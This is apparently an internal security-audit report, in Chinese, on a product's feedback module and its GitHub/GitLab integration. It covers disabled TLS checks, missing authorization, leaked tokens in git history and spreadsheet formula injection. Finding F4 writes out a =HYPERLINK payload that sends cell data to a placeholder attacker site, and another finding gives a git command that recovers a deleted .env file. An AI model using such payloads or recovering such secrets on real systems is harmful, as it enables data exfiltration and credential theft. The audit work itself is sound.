檢查日期 2026-09-16|對應卡片 CM-1828|檢查範圍 25 個檔案
淨新增 0 條——工具報的 5 條裡,2 條是舊案重複、2 條越界到別人的範圍、1 條被系統拒絕寫進正式報告。 但這一棒真正的收穫是回答了卡片問的兩個問題:FR-081 的舊結論全部仍然成立、一條都沒被修掉(verify=False 兩處還在、CM-1633 的半套守門一行沒改),而**「同一批檔重掃會不會給出一致結論」的答案是:會,而且一致到近乎逐字相同**——這對工具的可信度是好消息,對「重掃能不能挖出新東西」則是壞消息。
現況:本棒確認未修的 CM-1632/CM-1633 → ✅ 已修(CM-2066,1.21.0 出貨);CM-1630 → ✅ 已修(FR-114.1-7/CM-2030);CM-1607 → ✅ 已修(CM-2048)。以下「仍成立/未修」是 09-16 掃描當下的狀態。
使用者在產品裡送「意見回饋」時,系統除了存進自己的資料庫,還可以同時去 GitHub 或 GitLab 開一張真的問題單,把附件一起送過去,也可以從第三方把專案成員名單拉回來。這一棒看的就是這段「跟外面的系統打交道」的程式。
這 25 個檔在 FR-081(2026-09-10)掃過一次,之後 FR-099 把主專案的意見回饋整組搬進套件時改了大約 120 行。所以這一棒有兩個目的:
掃描目標 /Users/chouraymond/Projects/Jedicogy/module/jedi-python-package/jedi-issue,revision 3cc966f8488d(branch feature/review,工作區乾淨),mode scan,scope 25 個明確列出的檔案,effort low,focus attack-surface。
low 強度:一位研究員讀完 25 個檔案提報候選,加上因為有設 focus 而多跑的一次密鑰專項掃描;未做元件盤點、未做威脅建模、未跑廣度掃描,completenessCheckOutcome 為 not-applicable(掃指定範圍本就不跑盤點)。派出 2 位研究員、2 位都回報。驗證跑 1 輪、6 個候選去重後仍是 6 個,沒有候選遺失、沒有嚴重度被降低。本次 coverage.research 是空的,所以沒有「哪些檔讀過、哪些沒讀」的記錄——範圍內某個檔沒有發現,只代表沒有人對它提出發現,不代表它被證明乾淨。
🔴 工具嚴重越界:5 條發現裡只有 1 條在指定範圍內。 對照如下:
| 發現 | 檔案 | 在範圍內嗎 |
|---|---|---|
| F1 | infra/issue/adapter/github/github_issue_adapter.py |
✅ 是 |
| F2 | api/routes/feedback_route.py |
❌ 屬 J1 |
| F3 | infra/github.py |
❌ 屬 J1 |
| F4 | app/feedback/service/feedback_service.py |
❌ 屬 J1 |
| F5 | jedi_issue/.env(已刪,從版控歷史撈出) |
❌ 不在任何範圍 |
這與 J2 的形狀幾乎一樣(J2 是 4 條全越界)。研究員追脈絡會跑出範圍,而檢查員只驗「這條成不成立」、不驗「這條在不在範圍內」——這是工具的固定盲點,要靠人工比對範圍清單挑掉。
工具沒有實際執行任何程式碼:沒跑測試、沒發請求給 GitHub 或 GitLab、沒示範攻擊。所有發現都是讀原始碼、讀已安裝的 PyGithub 套件、讀 git 歷史推出來的。
| # | 嚴重度 | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 | 判定 |
|---|---|---|---|---|---|---|
| F1 | 🟡 中 | 連 GitHub 時不檢查對方是不是真的 GitHub | 網路中間人可假冒 GitHub,把公司的 GitHub 存取權杖整個拿走 | ①管理員已開啟 GitHub 整合(出貨預設關閉)②攻擊者要站在伺服器對外連線的路徑上 | github_issue_adapter.py:40 |
重複 CM-1632,位置行號更新(原報 43 行、現為 40 行) |
| F2 | 🟡 中 | 意見回饋的查、改、刪只驗有沒有登入,不驗有沒有權限、也不驗是不是本人的 | 任何登入者都能看光、改掉、刪掉全公司所有人的意見回饋 | 持有這家客戶的任一帳號,直接打 API(不走前端) | feedback_route.py:94 |
越界(屬 J1)+重複 CM-1630,不另計 |
| F3 | 🟡 中 | 同 F1 的另一處——共用的連線工廠 | 同 F1。只修一處沒用,權杖還是會從另一條路漏出去 | 同 F1 | infra/github.py:22 |
越界(屬 J1)+重複 CM-1632,不另計 |
| F4 | 🟡 中 | 意見回饋匯出成 Excel 時,沒有處理「等號開頭」的內容 | 攻擊者在標題塞一條試算表公式,管理員匯出並打開檔案時那條公式會執行 | ①任何能送回饋的登入者②管理員要匯出並用桌面試算表軟體打開 | feedback_service.py:378 |
越界(屬 J1)+重複 J1 的 F4(已登記總表第 82 項),不另計 |
| F5 | ⚪ 低 | 舊的開發設定檔(裡面有 GitHub/GitLab 密碼)還留在版控歷史裡 | 拿得到程式碼倉庫的人可以把密碼挖出來 | 讀得到 monorepo 的 git 歷史,或拿得到 Nexus 上兩個舊版套件檔 | jedi_issue/.env(已從最新版刪除) |
重複 CM-1573/CM-1607 舊案,且被系統拒絕寫進正式報告(見下) |
這一棒的淨新增:0 條。
這是什麼問題。 你上網買東西時,瀏覽器會檢查「這個網站是不是真的 PChome」,靠的是一張數位證書。這個檢查如果關掉,任何人都能假冒 PChome,而你會把信用卡號送給他。這支程式就是把這個檢查關掉了,然後把公司的 GitHub 存取權杖(相當於帳號密碼)送出去。
出事會怎樣。 站在網路路徑上的人(公用 Wi-Fi、被入侵的公司網路設備、被動手腳的對外代理伺服器)可以假冒 GitHub,把公司的 GitHub 存取權杖整個拿走。那把權杖能做什麼取決於它的權限範圍,通常足以讀寫公司所有的程式碼。同一個位置也能竄改回傳給產品的問題單內容。
要先有什麼才打得到。
在哪裡。 jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40,GitHubIssueAdapter.init_config 裡的 Github(auth=auth, per_page=100, timeout=10, verify=False)。
怎麼修。 拿掉 verify=False,讓套件用預設值(會檢查)。如果當初加這個是因為要連公司內部自架的 GitHub Enterprise、憑證是自簽的,正確做法是把憑證檔的路徑做成設定項,傳 verify="/path/to/ca.pem",而不是整個關掉檢查。必須與 F3 一起修——只修一處,權杖還是會從另一條路漏出去。
驗證。 三位檢查員(可達性/影響/防禦)3:0 全票確認。他們一路追進已安裝的 PyGithub 2.6.1,確認這個旗標真的傳到底層網路連線(MainClass.py:261 → Requester.py:452,539),且 requests 只有在旗標是 True 或 None 時才會恢復系統憑證庫,False 會一路保留。
首腦核對註記。 屬實,開檔逐行看過。這就是 CM-1632,只是行號從 43 變成 40(FR-099 搬家時檔案上方少了三行)。FR-081 報過至今未修。
這是什麼問題。 「誰能做什麼」的權限設定只做在前端選單上——沒有權限的人看不到那個按鈕,但只要他直接對後端發請求,後端完全不檢查,照做不誤。而且也不檢查「這筆回饋是不是他自己送的」。
出事會怎樣。 公司裡任何一個登入的人(包含角色被刻意限制、什麼回饋權限都沒給的帳號)可以:列出全公司所有人送過的意見回饋、把別人的回饋標題內容改掉、刪掉別人的附件、直接把回饋整筆刪除。這是資料完整性與可用性的損失,加上別人回報內容的外洩,而且讓權限表上寫給管理員看的那條限制形同虛設。
要先有什麼才打得到。
在哪裡。 jedi_issue/api/routes/feedback_route.py:94(FeedbackRoute.delete)。整條路上只有 @auth_required,宿主把它接成單純的「有沒有登入」(core/plugins/_host.py:208),服務層與領域層都沒有比對 created_user 與呼叫者。需要的編號可以從清單端點拿到,因為清單端點(feedback_route.py:35-46)同樣只驗登入。套件自己的契約測試把現況寫死了:tests/unittest/test_plugin_contract.py:148 斷言有守門的端點就只有 FeedbackExportRoute.post 一支。
怎麼修。 照 FeedbackExportRoute 既有的形狀,在查、增、改、刪四支加 @capability_required(...),權限名稱從 plugin/contract.py:CAPABILITIES 取(維持單一來源)。另外在 FeedbackService 的 update_feedback() / delete_feedback() / delete_feedback_file() 加「是不是本人」的檢查。
驗證。 3:0 全票確認。
首腦核對註記。 屬實,但這是 J1 的範圍(api/ 整層屬 J1),且就是 CM-1630。J1 已報過並驗收過,不另計。
這是什麼問題。 與 F1 同一個毛病,在另一支檔案。這支是「共用的連線工廠」——附件功能和成員查詢都會呼叫它建連線。
出事會怎樣。 同 F1:權杖被中間人攔走,且回傳的問題單與成員資料可被竄改。
要先有什麼才打得到。 同 F1(整合要開啟、攻擊者要在路徑上)。
在哪裡。 jedi_issue/infra/github.py:22,get_github_client 的 return Github(auth=auth, per_page=100, timeout=10, verify=False)。這是與 F1 不同的第二處硬寫死,不是同一行被看到兩次。
怎麼修。 同 F1。兩處要一起修。
驗證。 3:0 全票確認。
首腦核對註記。 屬實,但 infra/github.py 屬 J1 範圍(越界),且就是 CM-1632 的第二處。FR-081 I1 當時就把這兩處一起報進 CM-1632,不另計。
這是什麼問題。 試算表軟體看到「=」開頭的格子會當成公式去執行。程式把使用者填的回饋標題原封不動寫進格子,所以使用者可以塞一條公式進去,等著別人打開檔案時執行。
出事會怎樣。 低權限的使用者可以在標題塞 =HYPERLINK("https://攻擊者網站/x?d="&C2,"點我看詳情"),管理員匯出報表、打開檔案、點了那個看起來無害的連結,隔壁格子的內容就被送到攻擊者的主機。另一種寫法(DDE)可以在管理員的電腦上執行指令,但那個會跳警告視窗、要管理員自己按同意。
要先有什麼才打得到。
在哪裡。 jedi_issue/app/feedback/service/feedback_service.py:378(FeedbackService.export_feedbacks)。路徑上唯一的處理是 html_to_text,它只拔 HTML 標籤,開頭的等號原封不動留著;而 openpyxl 看到等號開頭會主動把格子標記成公式(cell.py:198-199)。
怎麼修。 寫進格子之前,把開頭是 =、+、-、@、Tab、換行的值前面加一個單引號。CSV 跟 Excel 兩條路都要套同一個處理函式,每個欄位都要(包含標籤來的「功能」欄)。
驗證。 3:0 全票確認。可信度標「中」而非「高」,是因為能不能得手取決於受害者用哪套試算表軟體、以及他對警告視窗的反應——這兩件事程式碼管不到。
首腦核對註記。 屬實,但 app/feedback/ 屬 J1 範圍(越界),且 J1 已報過同一條並登記為總表第 82 項,不另計。
這是什麼問題。 很久以前有人把一個開發用的設定檔提交進版控,裡面寫著 GitHub 和 GitLab 的存取權杖。後來檔案被刪掉了,但版控的歷史紀錄還留著那份內容——任何人 clone 這個程式碼倉庫,都能把它撈回來。
出事會怎樣。 如果那兩把權杖沒有真的作廢,拿到的人可以存取公司的 GitLab 和 GitHub 倉庫。
要先有什麼才打得到。
在哪裡。 jedi_issue/.env 第 4 行(GitLab)與第 8 行(GitHub),已從最新版刪除,可用 git show 5e3b9a3:jedi-issue/jedi_issue/.env 撈出。檢查員確認這個內容從 origin/main 可達、歷史沒有被重寫過,所以每一份 clone 都帶著它。
怎麼修。 先用其他管道確認兩把權杖真的作廢了。把 Nexus 上 0.0.14/0.0.15 兩包下架。保留 pyproject.toml 的排除設定,並加一個提交前的密鑰掃描,避免開發者的 .env 再次進版控。
驗證。 3:0 全票確認。
🔴 但這條被系統拒絕寫進正式報告,也是這次驗證章蓋 unverified 的唯一原因。 產出工具的規則是「發現指向的檔案必須在掃描的樹裡看得到」,而這個檔已經刪了,所以它被擋在 JSONL 與 SARIF 之外,只留在人看的報告裡。這不是投票失敗——6 個候選全部投完、18 票零漏投。要分清楚:unverified 在這裡的意思是「有一條發現沒被寫進機器可讀的檔案」,不是「這次檢查沒跑完」。
首腦核對註記。 屬實,但這是 CM-1573 舊案、已併入 CM-1607。FR-081 的 I1 與 I3 都撈到過同一條。不另計。
工具不照卡片清單走,所以七個重點逐項自己開檔查。工具只碰到其中兩項(①的一半、②),其餘五項全部是人工查證。
做了什麼改動。 舊版拋 NotImplementedError → 上游用 except Exception 吞掉 → 整張問題單連標題內文一起沒建立。新版改成:問題單照常建立、附件跳過、逐檔記一行 WARNING。
卡片問的三件事,逐項答:
(a)跳過時使用者端知不知道?——不知道。 github_issue_attachment.py:104-111 只寫進伺服器的 log,回傳空清單。使用者端看到的是「回饋送出成功」,畫面上沒有任何地方告訴他附件沒有送出去。他以為附件跟著送了,實際上沒有。
(b)WARNING 印的是檔名還是含內容?——只有檔名,沒有內容。 第 103 行是 skipped = [getattr(f, "filename", "<unnamed>") for f in files],只取檔名。這點是安全的——附件內容不會進 log。但要注意檔名本身是使用者可控的字串,會原樣進 log。
(c)「靜默降級但有 log」與「明確拒絕」哪個才對?——這是產品決策,不是技術問題,標明待裁。
兩邊的理由都成立:現在這樣做,至少問題單本體建得起來(舊版是整張單都沒了,明顯更糟);但使用者被誤導以為附件送到了,而管理員要翻伺服器 log 才知道發生過。第三條路是比較好的:照常建立問題單、但在回應裡帶一個「附件未能送出」的提示,讓前端顯示。這需要改回應格式,屬產品決策。
模組 docstring 已經把「為什麼不能補上上傳功能」寫清楚了(GitHub 沒有可用存取權杖呼叫的附件上傳 API,唯二官方途徑語意都錯位),這段判斷首腦核對過,屬實、不需重議。要議的只有「使用者端要不要看得到」。
GitHub 兩處仍在,一行未改:
jedi_issue/infra/github.py:22 verify=False
jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40 verify=False
GitLab 側沒有同款問題。 開檔查過 infra/gitlab.py 與 gitlab_issue_adapter.py,gitlab.Gitlab() 建構時沒有傳 ssl_verify 參數,套件預設是會檢查的。grep 整包也只有上面那兩處命中。這是好消息:問題只在 GitHub 這半邊。
本棒範圍內零命中。 grep 這 25 個檔的 except Exception、logger.warning、logger.error、f"{e}" —— 一個都沒有。也就是說,GitLab/GitHub adapter 遇到錯誤是直接把例外往上拋,不在這一層做任何記錄或格式化。
所以「被吞的那一側會外洩什麼」這個問題,在這一棒的範圍內不成立——外洩風險(如果有)在 J1 那側的 feedback_service.py 六處 except Exception: logger.warning,取決於它怎麼格式化拋上來的例外。那六處屬 J1 範圍,本棒不越界處理,但這個交接點要記下來:adapter 拋的例外物件裡可能帶有第三方回應原文(PyGithub 的 GithubException 就帶完整回應 body),J1 那側若用 f"{e}" 格式化就會整段進 log。
⚠️ 補充:project_member/adapter 兩支的確有 except Exception as e: logger.error(f"Failed to ...: {e}")(GitHub 的 remove_project_member、GitLab 的三支)。這些在範圍內。查過它們捕捉的是 PyGithub/python-gitlab 的例外,訊息裡會帶第三方 API 的回應內容,但不會帶權杖本身(權杖在請求標頭裡,不在回應裡)。判定:不是外洩權杖的路徑,但會把第三方回應原文寫進 log,與總表既有的「log 印 request body」follow-up 同類,不另計。
(a)CM-1633「刪除檢查半套」在哪一支、修了沒?——在 local_issue_attachment.py,一行未改。
實查 local_issue_attachment.py 的行號與現況:
第 87 行 matched_file_uids = file_uids_set & issue_file_uid_set ← 算出「真的屬於這張單的」
第 88 行 if not matched_file_uids: return False ← 只要有一個對得上就放行
第 91 行 delete_issue_file_mapping(file_uids=list(matched_file_uids)) ← 用【過濾後】的 ✅
第 98 行 self.file_upload_service.delete_files(file_uids) ← 用回【沒過濾】的 ❌
與 FR-081 I3 首腦當時描述的一模一樣,只是行號從 85/88/90/92/99 位移到 83/87/88/91/98。CM-1633 至今未修。
(b)本地存檔路徑怎麼組,檔名可控會不會路徑穿越?——路徑本身安全。 local_issue_attachment.py:52 是 save_dir = os.path.join("issue", issue_uid),只用 issue 編號組目錄,沒有把使用者提供的檔名接進路徑。檔名的處理在 jedi_file_upload 套件裡(本棒範圍外),這裡只是把 FileStorage 整個交出去。判定:這 25 個檔裡沒有路徑穿越的入口。
(c)GitLab upload() 回的連結會不會原樣進 issue 內文?——會,但這是 GitLab 自己產的網址,不是使用者可控的。 gitlab_issue_attachment.py 的 upload_attachment 把 uploaded_file["url"] 直接組進留言內文 "附件連結 [attached file]({})"。那個網址由 GitLab 伺服器回傳(格式 /uploads/<hash>/<檔名>),檔名那一段來自使用者。理論上檔名含 ) 可以破壞 Markdown 連結語法,但影響僅止於該留言顯示錯亂,不構成資安問題(GitLab 那側自己會處理跳脫)。判定:不另計。
(a)CM-1807「查無回 None」修好了,呼叫端有處理。 member_repostiory.py:35-38 有明確的防護與註解(「查無此人不可丟給 mapper——to_entity 第一行就存取 .uid,會 AttributeError(CM-1807)」)。update() 與 delete() 同樣都先檢查 if not member 再動作。這條已修,沒有回歸。
(b)第三方成員清單拿回來存哪、有沒有租戶欄?——存進 members 表,🔴 沒有租戶欄,確認總表第 7 項成立。
實查 infra/member/models/member.py:Members 表的欄位是 id / uid / project / username / email / role / type / enabled,沒有 tenant_id、沒有 org_unit_id,任何可以區分「這筆屬於哪家客戶」的欄位都沒有。流程是 ProjectMemberService.sync_project_members() 從 GitHub/GitLab 拉回成員後,整批寫進這張表(member_repostiory.py:create)。
這代表什麼:如果同一套系統服務多家客戶,A 公司同步進來的 GitHub 成員名單與 B 公司的會混在同一張表裡,而且分不開。這正是總表 §3.1 第 7 項所描述的狀況,本棒從資料表定義這一側再次確認,不另計新項。
沒有,兩支都維持原樣,而且檔頭有明確註解守著這件事。
MemberEntity:前五個欄位 project / username / email / role / type 都沒有預設值(漏傳會當場 TypeError),只有 uid 是 Optional[str] = None。檔頭註解明寫「不可順手給前五個補預設值——那會把『漏傳』從當場炸掉變成安靜存進一筆空欄位的成員」。IssueUploadFileEntity:issue_uid 與 file_uid 兩個都沒有預設值。判定:沒有踩到 FR-095 P1 §3.2 第 17 項那種「查無回固定空值讓權限測試假通過」的同型問題。改 dataclass 的那一棒守住了。
這是卡片問的核心問題。逐條列:
| FR-081 的結論 | 本棒工具說 | 本棒人工查證說 |
|---|---|---|
I1 第 1 條:github_issue_adapter.py 關掉憑證檢查(CM-1632) |
✅ 仍成立(報為 F1,行號 43→40) | ✅ 仍成立,開檔確認 |
I1 第 2 條:infra/github.py 關掉憑證檢查(CM-1632) |
✅ 仍成立(報為 F3) | ✅ 仍成立,開檔確認 |
I1 第 3 條:.env 密碼留在版控歷史(CM-1607) |
✅ 仍成立(報為 F5) | ✅ 仍成立 |
| I3:工具在 14 檔內 0 條新發現 | ✅ 一致——本棒工具在附件相關檔案裡同樣 0 條新發現 | — |
| I3 首腦補查的 CM-1633(刪除守門半套) | ❌ 工具再次沒報(與 FR-081 當時三位檢查員 3:0 否決一致) | ✅ 仍成立且未修,一行未改 |
| I5 第 4 條:內部套件倉庫走明文 HTTP(CM-1634) | ➖ 不適用(pyproject.toml 不在本棒範圍) |
➖ 未查 |
方法驗證的答案:工具重掃給出的結論高度一致。 三條會落在本棒範圍附近的舊發現,工具全部重新找到,連嚴重度判定(都是 MEDIUM)、修法建議都幾乎逐字相同。這對工具的穩定性是好消息。
但同時要看清楚另一面:重掃沒有挖出任何新東西,而且工具第二次一樣沒報 CM-1633。 那個「算了過濾結果卻只用一半」的錯誤擺在那裡兩次,兩次都沒被報出來——因為檢查員的推論停在「現在打得到嗎」,答案是打不到(只有一個呼叫點、只傳一個編號進來),所以判定不成立。這印證了首腦手冊第三節第 4 點:報出來的都真,沒報的不保證。
分兩層講,兩層差很多。
第一層:「報出來的這些是真的嗎?」——可信度高。
6 個候選全部走完三位檢查員投票,18 票零漏投,5 條 3:0 通過、1 條 0:3 駁回。首腦對 5 條全部開檔核對,位置與描述都對得上。人工查證的七個重點也全部是開檔看到的事實,不是推論。
關於驗證章上的 unverified:原因很單純且無害——F5 指的檔案已經從最新版刪掉,產出工具規定「發現指向的檔案要在樹裡看得到」,所以拒收它、章就蓋 unverified。投票本身是完整的。 不要把這個標記讀成「這次檢查沒跑完」。
第二層:「是不是只有這些?」——可信度低,這一棒對指定範圍的覆蓋不足。
三個理由:
coverage.research 是空的,無法回答「哪些檔讀過、哪些沒讀」。結論:這 25 個檔不能算「掃過且乾淨」,只能算「回歸確認完成——舊結論全部仍成立、沒有新增問題被找出來」。 回歸這個目的達成了;「只有這些嗎」這個問題,這一棒答不了。
| 項目 | 數字 |
|---|---|
| 檢查範圍 | 25 個明確列出的檔案(整合 adapter 6+附件 4+成員 4+app 服務 3+entity 2+DTO 與 __init__ 6) |
| 檢查強度 | 最低(low),focus attack-surface(跳過測試與第三方目錄,另跑一次密鑰專項掃描) |
| 候選問題 → 去除重複 | 6 → 6 |
| 投票數 | 18(6 條候選 × 3 位檢查員),全數投出、沒有漏投 |
| 投票結果 | F1/F2/F3/F4/F5 全部 3:0 通過;1 條 0:3 駁回(見下) |
| 被駁回的候選 | 1 條——指 local_issue_attachment.py:98 的 file_uids 未過濾。三位檢查員一致認為「唯一的呼叫路徑只傳一個編號進來,所以現有檢查等於完整過濾」。這正是 CM-1633,第二次被工具否決。首腦維持 FR-081 的判定:程式本身寫錯了,只是現在打不到。 編號跳號(F1–F5 卻有 F6 存在過)就是因為它被駁回 |
| 沒投到票的/投票中斷的/被降低嚴重度的 | 0/0/0 |
| 研究員派出/回收 | 2/2 |
| 驗證章狀態 | unverified(唯一原因:F5 的檔案已刪,被產出工具拒收,投票完整) |
| 掃描耗時 | 8093 秒(約 2 小時 15 分) |
| 掃描當下的程式碼版本 | commit 3cc966f8488d,branch feature/review,工作區乾淨 |
| scan_id / workflow run | b22e038e-3345-4b81-9fbd-99a6da2bf89e / wf_876d07d8-2d1 |
| 報告落點 | jedi-issue/CLAUDE-SECURITY-20260916-110741/(該目錄有自己的 .gitignore,不進版控) |
| 🔴 範圍內發現 | 1 條(F1,且為 CM-1632 重複);其餘 4 條越界 |
| 🔴 淨新增 | 0 條 |
| 首腦人工補查 | 卡片七個重點逐項查證,其中五項工具完全沒碰 |
| 對總表的影響 | 無新增項目;確認第 7 項(members 表無租戶欄)成立、CM-1630/CM-1632/CM-1633/CM-1607 四張舊卡掃描當時全部未修(現況:皆已由新卡修掉,見上方現況) |
verify=False)修法明確、風險低、兩行就好;CM-1633 更是一行。